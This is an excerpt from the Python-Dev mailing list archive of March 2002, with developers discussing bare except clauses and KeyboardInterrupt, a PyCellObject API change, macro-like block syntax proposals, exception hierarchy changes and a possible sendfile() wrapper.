In-Reply-To: <LNBBLJKPBEHFEDALKOLCIEAHOGAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCIEAHOGAA.tim.one@comcast.net>
Message-ID: <m38z8nai5q.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> doctest.py: I Trust Tim (tm)
> 
>     Me too.  The first bare except is exec'ing arbitrary user-supplied
>     code, and needs to catch everything.  The second needs to ignore
>     any exception that may be raised by a user-define __str__, and
>     that's any exception whatsoever, so ditto.

One observation in the bug report is that atleast KeyboardInterrupt
needs to get a chance to get through, making bare except clauses evil
under almost any circumstance. 

Regards,
Martin


From guido@python.org  Wed Mar 20 06:28:35 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 20 Mar 2002 01:28:35 -0500
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
In-Reply-To: Your message of "20 Mar 2002 07:05:05 +0100."
 <m38z8nai5q.fsf@mira.informatik.hu-berlin.de>
References: <LNBBLJKPBEHFEDALKOLCIEAHOGAA.tim.one@comcast.net>
 <m38z8nai5q.fsf@mira.informatik.hu-berlin.de>
Message-ID: <200203200628.g2K6SZL03539@pcp742651pcs.reston01.va.comcast.net>

> Tim Peters <tim.one@comcast.net> writes:
> 
> > doctest.py: I Trust Tim (tm)
> > 
> >     Me too.  The first bare except is exec'ing arbitrary user-supplied
> >     code, and needs to catch everything.  The second needs to ignore
> >     any exception that may be raised by a user-define __str__, and
> >     that's any exception whatsoever, so ditto.
> 
> One observation in the bug report is that atleast KeyboardInterrupt
> needs to get a chance to get through, making bare except clauses evil
> under almost any circumstance. 
> 
> Regards,
> Martin

That would explain why sometimes I have to hit ^C twice to kill the
test suite.

There's a standard idiom for this:

  try:
    ...code...
  except KeyboardInterrupt:
    raise
  except:
    ...handler...

That's easy enough to add to doctest (I looked and it seems obvious
that this will work).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From loewis@informatik.hu-berlin.de  Wed Mar 20 08:26:37 2002
From: loewis@informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=)
Date: Wed, 20 Mar 2002 09:26:37 +0100 (CET)
Subject: [Python-Dev] API change in 2.2.1c1
Message-ID: <200203200826.g2K8Qb3p001736@paros.informatik.hu-berlin.de>

There seem to be an API changes between Python 2.2 and 2.2.1c1:
PyCellObject begins with a PyObject_HEAD, not anymore with a
PyObject_VAR_HEAD. While it is unlikely that anybody will notice, I'd
prefer to leave the additional field in the structure.

Regards,
Martin


From duncan@rcp.co.uk  Wed Mar 20 09:38:01 2002
From: duncan@rcp.co.uk (Duncan Booth)
Date: Wed, 20 Mar 2002 09:38:01 +0000
Subject: [Python-Dev] A Hygienic Macro System in Python?
References: <200203200032.g2K0WMg02368@pcp742651pcs.reston01.va.comcast.net> <LNBBLJKPBEHFEDALKOLCGEAAOGAA.tim.one@comcast.net> <15511.62932.60312.105706@anthem.wooz.org>
Message-ID: <09380181376338@aluminium.rcp.co.uk>

On 20 Mar 2002, barry@zope.com (Barry A. Warsaw) wrote:

> In the following example, imagine that
> 
>     using <expr>:
>      suite()
> 
> is syntactic sugar for:
> 
>     using(<expr>, suite)
> 
> 

How about imagining:
    	using <expr>:
    	   suite

is syntactic sugar for:
     anon1 = <expr>
     for anon2 in anon1:
         try:
              suite
         except:
              anon1.throw() # Assuming PEP279 part 3

def WithLock():
    print "Acquiring lock"
    try:
        yield None
    finally:
        print "Releasing lock"

using WithLock():
    doSomethingCritical()

-- 
Duncan Booth                                             duncan@rcp.co.uk
int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3"
"\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure?


From bh@intevation.de  Wed Mar 20 11:12:00 2002
From: bh@intevation.de (Bernhard Herzog)
Date: 20 Mar 2002 12:12:00 +0100
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <15511.61236.222547.504289@anthem.wooz.org>
References: <200203190539.RAA28367@s454.cosc.canterbury.ac.nz>
 <6qpu20dcv0.fsf@abnoba.intevation.de>
 <15511.61236.222547.504289@anthem.wooz.org>
Message-ID: <6qit7r333z.fsf@abnoba.intevation.de>

barry@zope.com (Barry A. Warsaw) writes:

> >>>>> "BH" == Bernhard Herzog <bh@intevation.de> writes:
> 
>     |    doc.BeginTransaction()
>     |    try:
>     |         try:
>     |             something()
>     |         except:
>     |             # an error occurred part way through. make sure everything
>     |             # is reverted (sort of a rollback)
>     |             doc.AbortTransaction()
>     |    finally:
>     |         doc.EndTransaction()
> 
> Interesting.  I have similar idioms that I use, except that I
> invariably would add bare raise after the AbortTransaction().

That's more or less what AbortTransaction does when it's finished. 

   Bernhard

-- 
Intevation GmbH                                 http://intevation.de/
Sketch                                 http://sketch.sourceforge.net/
MapIt!                                           http://www.mapit.de/


From mwh@python.net  Wed Mar 20 11:16:40 2002
From: mwh@python.net (Michael Hudson)
Date: Wed, 20 Mar 2002 11:16:40 +0000 (GMT)
Subject: [Python-Dev] Re: API change in 2.2.1c1
In-Reply-To: <200203200826.g2K8Qb3p001736@paros.informatik.hu-berlin.de>
Message-ID: <Pine.LNX.4.44.0203201115490.28027-100000@starship.python.net>

On Wed, 20 Mar 2002, Martin v. Löwis wrote:

> There seem to be an API changes between Python 2.2 and 2.2.1c1:
> PyCellObject begins with a PyObject_HEAD, not anymore with a
> PyObject_VAR_HEAD. While it is unlikely that anybody will notice, I'd
> prefer to leave the additional field in the structure.

It would have been nice if Jeremy had responded to either of the two 
emails I sent him asking about this.

I'm not sure jhylton@users.sf.net goes anywhere.

Cheers,
M.



From niemeyer@conectiva.com  Wed Mar 20 09:42:04 2002
From: niemeyer@conectiva.com (Gustavo Niemeyer)
Date: Wed, 20 Mar 2002 06:42:04 -0300
Subject: [Python-Dev] License question
In-Reply-To: <20020317132529.A1353@ibook.distro.conectiva>
References: <20020316230511.B2885@ibook> <LNBBLJKPBEHFEDALKOLCMECOOFAA.tim.one@comcast.net> <20020317132529.A1353@ibook.distro.conectiva>
Message-ID: <20020320064204.A2108@ibook.distro.conectiva>

Tim,

> Thanks Tim. I'll probably license it completely under Python's license,
> since I'd like to see this code in the standard library some day.

I changed my mind. While rereading the PSF License, it was clear to me
that this license provide terms for Python and PSF. It's not a general
software license. Right now I'm releasing the software under LGPL, with
the portions based on Python's code under PSF License. Of course, It'll
be a pleasure to donate the code to PSF, if needed.

Thanks!

-- 
Gustavo Niemeyer

[ 2AAC 7928 0FBF 0299 5EB5  60E2 2253 B29A 6664 3A0C ]


From mwh@python.net  Wed Mar 20 13:48:32 2002
From: mwh@python.net (Michael Hudson)
Date: Wed, 20 Mar 2002 13:48:32 +0000 (GMT)
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: <200203190128.g2J1Skt17383@burswood.off.ekorp.com>
Message-ID: <Pine.LNX.4.44.0203201348030.1853-100000@starship.python.net>

On Tue, 19 Mar 2002, Anthony Baxter wrote:

> 
> >>> Michael Hudson wrote
> > I think the time argument may be a red herring; I'm not sure there are
> > so many people checking the branch out that it really makes any
> > difference.
> 
> I was planning on going the sf compile farm and the compaq testdrive
> systems to make sure that everything's vaguely sane, but I'm not going
> to have time for that for a couple of days. I'd suggest 2 weeks as well -
> but since that takes us to near easter, maybe waiting til the day after
> easter?
> 
> course, if someone else wants to pound the compile farm with builds, 
> they're welcome :)

I'd be doing this now if /home/users wasn't full on the compile farm, 
sigh...

Cheers,
M.



From guido@python.org  Wed Mar 20 13:59:42 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 20 Mar 2002 08:59:42 -0500
Subject: [Python-Dev] Re: API change in 2.2.1c1
In-Reply-To: Your message of "Wed, 20 Mar 2002 11:16:40 GMT."
 <Pine.LNX.4.44.0203201115490.28027-100000@starship.python.net>
References: <Pine.LNX.4.44.0203201115490.28027-100000@starship.python.net>
Message-ID: <200203201359.g2KDxgK04813@pcp742651pcs.reston01.va.comcast.net>

> On Wed, 20 Mar 2002, Martin v. Löwis wrote:
> 
> > There seem to be an API changes between Python 2.2 and 2.2.1c1:
> > PyCellObject begins with a PyObject_HEAD, not anymore with a
> > PyObject_VAR_HEAD. While it is unlikely that anybody will notice, I'd
> > prefer to leave the additional field in the structure.
> 
> It would have been nice if Jeremy had responded to either of the two 
> emails I sent him asking about this.
> 
> I'm not sure jhylton@users.sf.net goes anywhere.

Try jeremy@zope.com.

IMO this is fine as a bugfix.  I can't come up with any *reasonable*
scenario where it would break an extension; the cell objects are
extremely obscure, and not even David Abrahams would have a reason to
access one directly.  Since the chance of someone relying on this is
still >0, I'd say fix it sooner rather than later.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From aahz@pythoncraft.com  Wed Mar 20 14:03:28 2002
From: aahz@pythoncraft.com (Aahz)
Date: Wed, 20 Mar 2002 09:03:28 -0500
Subject: [Python-Dev] Re: API change in 2.2.1c1
In-Reply-To: <Pine.LNX.4.44.0203201115490.28027-100000@starship.python.net>
References: <200203200826.g2K8Qb3p001736@paros.informatik.hu-berlin.de> <Pine.LNX.4.44.0203201115490.28027-100000@starship.python.net>
Message-ID: <20020320140328.GA15042@panix.com>

On Wed, Mar 20, 2002, Michael Hudson wrote:
> On Wed, 20 Mar 2002, Martin v. Löwis wrote:
>> 
>> There seem to be an API changes between Python 2.2 and 2.2.1c1:
>> PyCellObject begins with a PyObject_HEAD, not anymore with a
>> PyObject_VAR_HEAD. While it is unlikely that anybody will notice, I'd
>> prefer to leave the additional field in the structure.
> 
> It would have been nice if Jeremy had responded to either of the two 
> emails I sent him asking about this.
> 
> I'm not sure jhylton@users.sf.net goes anywhere.

Try jeremy@zope.com
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

The best way to get information on Usenet is not to ask a question, but
to post the wrong information.  --Aahz


From fredrik@pythonware.com  Wed Mar 20 15:01:16 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Wed, 20 Mar 2002 16:01:16 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese
References: <Pine.LNX.4.21.0203172109580.657-100000@familjen.svensson.org><87u1reji0b.fsf@tleepslib.sk.tsukuba.ac.jp><m3663tho4v.fsf@mira.informatik.hu-berlin.de> <87d6xzj549.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <012801c1d020$19da91d0$ced241d5@hagrid>

Stephen J. Turnbull wrote:

> By the way, where others in this thread have similar experience, it
> would be helpful if they could refer to previous implementations
> similar to PEP 263.

XML.

PEP 263 implements the same model, minus UTF-16, and
with a two-phase implementation plan.

nothing new here.

</F>



From skip@pobox.com  Wed Mar 20 15:17:41 2002
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 20 Mar 2002 09:17:41 -0600
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: <Pine.LNX.4.44.0203201348030.1853-100000@starship.python.net>
References: <200203190128.g2J1Skt17383@burswood.off.ekorp.com>
 <Pine.LNX.4.44.0203201348030.1853-100000@starship.python.net>
Message-ID: <15512.43029.132485.108391@12-248-41-177.client.attbi.com>

    Michael> I'd be doing this now if /home/users wasn't full on the compile
    Michael> farm, sigh...

I just deleted my Python-2.2.1c1 tree which freed up 135MB.  /home/users now
sits at

    fs1:/home/users       17496608  17226000    270608  99% /home/users

Go for it... ;-)

Skip


From jeremy@zope.com  Wed Mar 20 16:23:11 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Wed, 20 Mar 2002 11:23:11 -0500
Subject: [Python-Dev] Re: API change in 2.2.1c1
Message-ID: <web-3786338@digicool.com>

M.--

Sorry I didn't respond earlier.  I've been nearly unable to
send mail for the last week.  (New office, new firewall, bad
SMTP server :-).

I think the cell change is a pure bug fix.  The VAR_HEAD was
leftover from the days (perhaps just one day) when I thought
that a cell would contain multiple pointers.  The cell
objects aren't documented (so far as I know) and are only
used internally to implemented nested scopes.

I had originally thought that each scope with "cell
variables" would store all the pointers in a single cell.
That ended up being a bad idea, because a single escaping
cell var would keep all the other objects in the cell alive.
The one-object-per-cell model minimizes that amount of
garbage kept alive by escaping variables.

Jeremy


From martin@v.loewis.de  Wed Mar 20 18:23:59 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: Wed, 20 Mar 2002 19:23:59 +0100
Subject: [Python-Dev] SF redirector operational
Message-ID: <200203201823.g2KINx401554@mira.informatik.hu-berlin.de>

I just completed installation of version 1 of the SF redirector, at
http://python.org/sf/NNNNN. It uses a cache to redirect to either
bugs, patches, or feature requests, so the overhead of finding the
right tracker is paid only on the first request.

If you find any problems, please let me know.

Regards,
Martin



From pedroni@inf.ethz.ch  Wed Mar 20 02:01:46 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Wed, 20 Mar 2002 03:01:46 +0100
Subject: [Python-Dev] A Hygienic Macro System in Python?
References: <200203200012.MAA28472@s454.cosc.canterbury.ac.nz>  <200203200032.g2K0WMg02368@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <042301c1cfb3$31252ca0$6d94fea9@newmexico>

From: Guido van Rossum <guido@python.org>
> Just throwing out some thoughts.
> 
> There are several possible use cases for new customizable syntax:
> 
> - resource allocation (lock.acquire(); try-finally: lock.release())
> 
> - defining functions with special treatment (e.g. classmethods, properties)
> 
> - defining class-like things (e.g. Zope-style interface declarations)
> 
> Maybe it's possible to invent a new statement that covers all of
> these?  Certainly a macro system should support doing all these
> easily...

Mad mad idea, parametric syntax instead of extensible

try:
  this()
finally
  that()

can be rewritten has:

try[finally=that]: # or some other brackets, maybe with also a pre
  this

or

try[this,finally=that]

Ok that's thin-ice, but

class[f] C(A,B) # maybe not using class?
   suite

equivalent to:

C=f((A,B),dictionary-from-execution-of-suite)

and so def[f,g] ...

etc <wink>.
  
Hopefully we don't have even just internally smalltalk-like
anonymous blocks otherwise I would have had more wild
ideas about cflow-statement-like constructs that maps to
function invocations [*].

All of this is maybe ugly, but has the nice property that
things happen only at runtime, also for what I had
in mind for [*].

regards.



From guido@python.org  Wed Mar 20 18:34:09 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 20 Mar 2002 13:34:09 -0500
Subject: [Python-Dev] SF redirector operational
In-Reply-To: Your message of "Wed, 20 Mar 2002 19:23:59 +0100."
 <200203201823.g2KINx401554@mira.informatik.hu-berlin.de>
References: <200203201823.g2KINx401554@mira.informatik.hu-berlin.de>
Message-ID: <200203201834.g2KIY9F07824@odiug.zope.com>

> I just completed installation of version 1 of the SF redirector, at
> http://python.org/sf/NNNNN. It uses a cache to redirect to either
> bugs, patches, or feature requests, so the overhead of finding the
> right tracker is paid only on the first request.

Cool!

> If you find any problems, please let me know.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From gsw@agere.com  Wed Mar 20 12:11:24 2002
From: gsw@agere.com (Gerald S. Williams)
Date: Wed, 20 Mar 2002 07:11:24 -0500
Subject: [Python-Dev] POSIX thread code
In-Reply-To: <E16n8s1-0004kP-00@mail.python.org>
Message-ID: <GBEGLOMMCLDACBPKDIHFKEIECHAA.gsw@agere.com>

Another option might be to create a daemon thread that just
sleeps all the time and catches the INTR signal. There are
some issues with this, starting with the fact that it's an
exception to the "only the main thread receives signals"
fiat. It's also probably already been thought of, but IMHO
an approach like that would be better than adding timeouts
everywhere.

-Jerry

-O Gerald S. Williams, 22Y-103GA : mailto:gsw@agere.com O-
-O AGERE SYSTEMS, 555 UNION BLVD : office:610-712-8661  O-
-O ALLENTOWN, PA, USA 18109-3286 : mobile:908-672-7592  O-

Aahz <aahz@pythoncraft.com> wrote:
> On Mon, Mar 18, 2002, Guido van Rossum wrote:
> >
> > Yeah, unfortunately the only implementation technique I have to offer
> > right now is to turn all acquire calls internally into a loop around
> > an acquire call with a timeout in the order of 1 second, and to check
> > signals each time around the loop. :-(
> 
> -1
> 
> The problem with this is that you really start tying yourself in knots.
> If you do a time.sleep() for one second, that can't be interrupted for a
> full second, either on keyboard interrupt or on releasing the lock.  The
> finer-grained you go on time.sleep(), the more overhead you consume, and
> the coarser-grained you go, the more you limit throughput.
> 
> I'm not aware of any good cross-platform technique for managing thread
> timeouts that is also "live".



From tim.one@comcast.net  Wed Mar 20 19:30:00 2002
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 20 Mar 2002 14:30:00 -0500
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
In-Reply-To: <m38z8nai5q.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEDKOGAA.tim.one@comcast.net>

[martin@v.loewis.de]
> One observation in the bug report is that at least KeyboardInterrupt
> needs to get a chance to get through, making bare except clauses evil
> under almost any circumstance.

Good point.  I'll change doctest, in the specific way Guido suggested.

[Guido]
> That would explain why sometimes I have to hit ^C twice to kill the
> test suite.

Partly, but a minor effect:  there aren't enough doctest'ed pieces in the
test suite to account for much of that.  It's definitely the cause if you
just run test_generators.py in a loop <wink>.  Recall one of Skip's original
categories:

    * Not worth fixing, because the except: occurs in situations that
      would not affect application code (such as in module tests).
                                         ^^^^^^^^^^^^^^^^^^^^^^^



From akuchlin@mems-exchange.org  Wed Mar 20 19:53:58 2002
From: akuchlin@mems-exchange.org (Andrew Kuchling)
Date: Wed, 20 Mar 2002 14:53:58 -0500
Subject: [Python-Dev] Add sendfile() to core?
Message-ID: <20020320195357.GA15076@ute.mems-exchange.org>

The Medusa distribution contains a small module that wraps the
sendfile() system call, available at least on Unix and FreeBSD.  
The man page explains what sendfile() does:

       ssize_t  sendfile(int  out_fd,  int  in_fd, off_t *offset,
       size_t count)

       This call copies data  between  one  file  descriptor  and
       another.   Either  or  both  of these file descriptors may
       refer to a socket (but see below).  in_fd should be a file
       descriptor  opened  for  reading  and  out_fd  should be a
       descriptor opened for writing.  offset is a pointer  to  a
       variable  holding  the  input  file  pointer position from
       which sendfile() will start reading data.  When sendfile()
       returns,  this  variable  will be set to the offset of the
       byte following the last byte that was read.  count is  the
       number of bytes to copy between file descriptors.

       Because this copying is done within the kernel, sendfile()
       does not need to spend time transferring data to and  from
       user space.

sendfile() is used when writing really high-performance Web servers,
in order to save an unnecessary memory-to-memory copy.  Question:
should I make up a patch to add a sendfile() wrapper to Python?

(Personally I think we can live without it.  If you're writing servers
in Python, an interpreted language where creating an integer can end
up calling malloc(), then worrying about the cost of memory-to-memory
copying seems misplaced.  Another strike against it is that it isn't
portable; other Unixes have similar but different calls with different
names.)

--amk                                                             (www.amk.ca)
  "Aww, c'mon! Where's your sense of fun?"
  "I'm the standard model, Zachary. 'Fun' was optional."
    -- Zot and Peabody, in ZOT! #1


From aahz@pythoncraft.com  Wed Mar 20 19:52:54 2002
From: aahz@pythoncraft.com (Aahz)
Date: Wed, 20 Mar 2002 14:52:54 -0500
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
In-Reply-To: <200203200628.g2K6SZL03539@pcp742651pcs.reston01.va.comcast.net>
References: <LNBBLJKPBEHFEDALKOLCIEAHOGAA.tim.one@comcast.net> <m38z8nai5q.fsf@mira.informatik.hu-berlin.de> <200203200628.g2K6SZL03539@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020320195254.GA19774@panix.com>

On Wed, Mar 20, 2002, Guido van Rossum wrote:
>
> There's a standard idiom for this:
> 
>   try:
>     ...code...
>   except KeyboardInterrupt:
>     raise
>   except:
>     ...handler...

May I suggest yet one more alteration:

    try:
        ...code...
    except (KeyboardInterrupt,SystemExit):
        raise
    except:
        ...handler...
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

The best way to get information on Usenet is not to ask a question, but
to post the wrong information.  --Aahz


From DavidA@ActiveState.com  Wed Mar 20 20:09:41 2002
From: DavidA@ActiveState.com (David Ascher)
Date: Wed, 20 Mar 2002 12:09:41 -0800
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
References: <LNBBLJKPBEHFEDALKOLCIEAHOGAA.tim.one@comcast.net> <m38z8nai5q.fsf@mira.informatik.hu-berlin.de> <200203200628.g2K6SZL03539@pcp742651pcs.reston01.va.comcast.net> <20020320195254.GA19774@panix.com>
Message-ID: <3C98EC85.D1180F62@activestate.com>

Aahz wrote:
> 
> On Wed, Mar 20, 2002, Guido van Rossum wrote:
> >
> > There's a standard idiom for this:
> >
> >   try:
> >     ...code...
> >   except KeyboardInterrupt:
> >     raise
> >   except:
> >     ...handler...
> 
> May I suggest yet one more alteration:
> 
>     try:
>         ...code...
>     except (KeyboardInterrupt,SystemExit):
>         raise
>     except:
>         ...handler...

Makes me wonder if it makes sense to move KeyboardInterrupt up the
hierarchy and promote the use of StandardError...

--david


From DavidA@ActiveState.com  Wed Mar 20 20:12:52 2002
From: DavidA@ActiveState.com (David Ascher)
Date: Wed, 20 Mar 2002 12:12:52 -0800
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
References: <LNBBLJKPBEHFEDALKOLCIEAHOGAA.tim.one@comcast.net> <m38z8nai5q.fsf@mira.informatik.hu-berlin.de> <200203200628.g2K6SZL03539@pcp742651pcs.reston01.va.comcast.net> <20020320195254.GA19774@panix.com> <3C98EC85.D1180F62@activestate.com>
Message-ID: <3C98ED44.DC167398@activestate.com>

me:

> Makes me wonder if it makes sense to move KeyboardInterrupt up the
> hierarchy and promote the use of StandardError...

which is pretty silly until we have a statement like:

try:
	...
except not StandardError:
	raise
finally:
	...

--david


From fredrik@pythonware.com  Wed Mar 20 20:15:45 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Wed, 20 Mar 2002 21:15:45 +0100
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
References: <LNBBLJKPBEHFEDALKOLCIEAHOGAA.tim.one@comcast.net> <m38z8nai5q.fsf@mira.informatik.hu-berlin.de> <200203200628.g2K6SZL03539@pcp742651pcs.reston01.va.comcast.net> <20020320195254.GA19774@panix.com> <3C98EC85.D1180F62@activestate.com>
Message-ID: <037001c1d04c$05e63770$ced241d5@hagrid>

David Ascher wrote:
> 
> Makes me wonder if it makes sense to move KeyboardInterrupt up the
> hierarchy and promote the use of StandardError...

it would have been great if it had been done that way
from the beginning, but can we really change this now?

(if we can, +1 from here)

</F>



From tim.one@comcast.net  Wed Mar 20 20:18:16 2002
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 20 Mar 2002 15:18:16 -0500
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
In-Reply-To: <20020320195254.GA19774@panix.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEDPOGAA.tim.one@comcast.net>

[Aahz]
> May I suggest yet one more alteration:
>
>     try:
>         ...code...
>     except (KeyboardInterrupt,SystemExit):
>         raise
>     except:
>         ...handler...

Not unless you want to run around editing hundreds of modules.  To quote
someone who shall remain anonymous:

    The joy of coding Python should be in seeing short, concise,
    readable classes that express a lot of action in a small amount of
    clear code -- not in reams of trivial code that bores the reader to
    death.

dyingly y'rs  - tim



From fredrik@pythonware.com  Wed Mar 20 20:27:18 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Wed, 20 Mar 2002 21:27:18 +0100
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
References: <LNBBLJKPBEHFEDALKOLCIEAHOGAA.tim.one@comcast.net> <m38z8nai5q.fsf@mira.informatik.hu-berlin.de> <200203200628.g2K6SZL03539@pcp742651pcs.reston01.va.comcast.net> <20020320195254.GA19774@panix.com> <3C98EC85.D1180F62@activestate.com> <3C98ED44.DC167398@activestate.com>
Message-ID: <03a601c1d04d$a42ce770$ced241d5@hagrid>

> you:
> 
> > Makes me wonder if it makes sense to move KeyboardInterrupt up the
> > hierarchy and promote the use of StandardError...
> 
> which is pretty silly until we have a statement like:
> 
> try:
> ...
> except not StandardError:
>     raise
> finally:
> ...
> 

umm.  how's that different from

    try:
        ...
    except StandardError:
        pass

</F>



From fredrik@pythonware.com  Wed Mar 20 20:30:00 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Wed, 20 Mar 2002 21:30:00 +0100
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
References: <LNBBLJKPBEHFEDALKOLCOEDPOGAA.tim.one@comcast.net>
Message-ID: <03af01c1d04e$046a0cd0$ced241d5@hagrid>

tim wrote:

> Not unless you want to run around editing hundreds of modules.  To quote
> someone who shall remain anonymous:
> 
>     The joy of coding Python should be in seeing short, concise,
>     readable classes that express a lot of action in a small amount of
>     clear code -- not in reams of trivial code that bores the reader to
>     death.

+1 on adding that quotation to the Python README.

</F>



From aahz@pythoncraft.com  Wed Mar 20 20:38:02 2002
From: aahz@pythoncraft.com (Aahz)
Date: Wed, 20 Mar 2002 15:38:02 -0500
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
In-Reply-To: <LNBBLJKPBEHFEDALKOLCOEDPOGAA.tim.one@comcast.net>
References: <20020320195254.GA19774@panix.com> <LNBBLJKPBEHFEDALKOLCOEDPOGAA.tim.one@comcast.net>
Message-ID: <20020320203802.GA11813@panix.com>

On Wed, Mar 20, 2002, Tim Peters wrote:
> [Aahz]
>>
>> May I suggest yet one more alteration:
>>
>>     try:
>>         ...code...
>>     except (KeyboardInterrupt,SystemExit):
>>         raise
>>     except:
>>         ...handler...
> 
> Not unless you want to run around editing hundreds of modules.  To quote
> someone who shall remain anonymous:
> 
>     The joy of coding Python should be in seeing short, concise,
>     readable classes that express a lot of action in a small amount of
>     clear code -- not in reams of trivial code that bores the reader to
>     death.

How many bare except: clauses that should be bare are there?  To my way
of thinking, requiring the above construct on top of a bare except: is
precisely the kind of wart we wish to encourage in order to *dis*courage
bare except: clauses.  In any event, it was Guido's idea to add the 

    except KeyboardInterrupt:

in the first place; I'm simply adding the logical extension.  Perhaps
instead of the StandardError idea suggested by others, we should add a
new exception called ExitException that inherits from both SystemExit
and KeyboardInterrupt.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

The best way to get information on Usenet is not to ask a question, but
to post the wrong information.  --Aahz


From DavidA@ActiveState.com  Wed Mar 20 20:40:11 2002
From: DavidA@ActiveState.com (David Ascher)
Date: Wed, 20 Mar 2002 12:40:11 -0800
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
References: <LNBBLJKPBEHFEDALKOLCIEAHOGAA.tim.one@comcast.net> <m38z8nai5q.fsf@mira.informatik.hu-berlin.de> <200203200628.g2K6SZL03539@pcp742651pcs.reston01.va.comcast.net> <20020320195254.GA19774@panix.com> <3C98EC85.D1180F62@activestate.com> <037001c1d04c$05e63770$ced241d5@hagrid>
Message-ID: <3C98F3AB.5114FF77@activestate.com>

Fredrik Lundh wrote:
> 
> David Ascher wrote:
> >
> > Makes me wonder if it makes sense to move KeyboardInterrupt up the
> > hierarchy and promote the use of StandardError...
> 
> it would have been great if it had been done that way
> from the beginning, but can we really change this now?
> 
> (if we can, +1 from here)

It would be relatively simple to define a new error type which did what
we wanted, and slowly deprecated StandardError.  

Once again, it'd be nice if all Python source ever written had to be
stored somewhere so we could measure the impact of language changes. 
Hmm -- maybe a slight change to ceval.c and its Jython equivalent could
help =)

--david


From DavidA@ActiveState.com  Wed Mar 20 20:41:44 2002
From: DavidA@ActiveState.com (David Ascher)
Date: Wed, 20 Mar 2002 12:41:44 -0800
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
References: <20020320195254.GA19774@panix.com> <LNBBLJKPBEHFEDALKOLCOEDPOGAA.tim.one@comcast.net> <20020320203802.GA11813@panix.com>
Message-ID: <3C98F408.ABE3643C@activestate.com>

Aahz:
> in the first place; I'm simply adding the logical extension.  Perhaps
> instead of the StandardError idea suggested by others, we should add a
> new exception called ExitException that inherits from both SystemExit
> and KeyboardInterrupt.

and StopIteration, no?

--da


From skip@pobox.com  Wed Mar 20 21:08:32 2002
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 20 Mar 2002 15:08:32 -0600
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
In-Reply-To: <20020320195254.GA19774@panix.com>
References: <LNBBLJKPBEHFEDALKOLCIEAHOGAA.tim.one@comcast.net>
 <m38z8nai5q.fsf@mira.informatik.hu-berlin.de>
 <200203200628.g2K6SZL03539@pcp742651pcs.reston01.va.comcast.net>
 <20020320195254.GA19774@panix.com>
Message-ID: <15512.64080.793236.63360@beluga.mojam.com>

(BAW - why does supercite ruin code indentation when quoting???)

    >> There's a standard idiom for this:
    >> 
    >> try:
    >>    ...code...
    >> except KeyboardInterrupt:
    >>    raise
    >> except:
    >>    ...handler...

    aahz> May I suggest yet one more alteration:

    aahz>     try:
    aahz>         ...code...
    aahz>     except (KeyboardInterrupt,SystemExit):
    aahz>         raise
    aahz>     except:
    aahz>         ...handler...

Which reminds me about a proposal I made here last November:

    http://mail.python.org/pipermail/python-dev/2001-November/018394.html

Executive summary: Make KeyboardInterrupt inherit directly from Exception
instead of from StandardError, so your standard idiom becomes:

    try:
        fragile code
    except StandardError:
        recover

Anything that you might generally not want to trap (KeyboardInterrupt and
SystemExit are the usual suspects, but Warning and StopIteration also fall
into this category I think) should not inherit from StandardError.

Skip


From akuchlin@mems-exchange.org  Wed Mar 20 21:09:26 2002
From: akuchlin@mems-exchange.org (Andrew Kuchling)
Date: Wed, 20 Mar 2002 16:09:26 -0500
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
In-Reply-To: <03af01c1d04e$046a0cd0$ced241d5@hagrid>
References: <LNBBLJKPBEHFEDALKOLCOEDPOGAA.tim.one@comcast.net> <03af01c1d04e$046a0cd0$ced241d5@hagrid>
Message-ID: <20020320210926.GA15513@ute.mems-exchange.org>

On Wed, Mar 20, 2002 at 09:30:00PM +0100, Fredrik Lundh quoted:
>tim wrote:
>>     The joy of coding Python should be in seeing short, concise,
>>     readable classes that express a lot of action in a small amount of
>>     clear code -- not in reams of trivial code that bores the reader to
>>     death.

